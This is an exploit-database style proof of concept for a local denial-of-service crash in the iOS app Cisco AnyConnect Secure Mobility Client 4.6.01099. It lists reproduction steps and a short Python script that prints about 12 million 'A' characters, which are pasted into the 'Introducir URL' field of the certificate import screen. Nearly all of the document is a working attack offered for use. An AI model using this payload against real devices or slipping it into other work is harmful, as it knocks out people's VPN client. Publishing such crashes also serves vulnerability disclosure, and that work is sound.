Cisco AnyConnect Secure Mobility Client 4.6.01099 Denial Of Service

`# Exploit Title: Cisco AnyConnect Secure Mobility Client 4.6.01099 - 'Introducir URL' Denial of Service (PoC)  
# Discovery by: Luis Martinez  
# Discovery Date: 2018-08-29  
# Vendor Homepage: https://www.cisco.com/  
# Software Link: App Store for iOS devices  
# Tested Version: 4.6.01099  
# Vulnerability Type: Denial of Service (DoS) Local  
# Tested on OS: iPhone 7 iOS 11.4.1  
  
# Steps to Produce the Crash:  
# 1.- Run python code: Cisco_AnyConnect_Secure_Mobility_Client_4.6.01099.py  
# 2.- Copy content to clipboard  
# 3.- Open App Cisco AnyConnect Secure Mobility Client  
# 4.- Diagnosticos  
# 5.- Certificados  
# 6.- Importar certificado de usuario...  
# 7.- Paste ClipBoard on "Introducir URL"  
# 8.- Crashed  
  
#!/usr/bin/env python  
  
buffer = "\x41" * 12380000  
print (buffer)  
  
`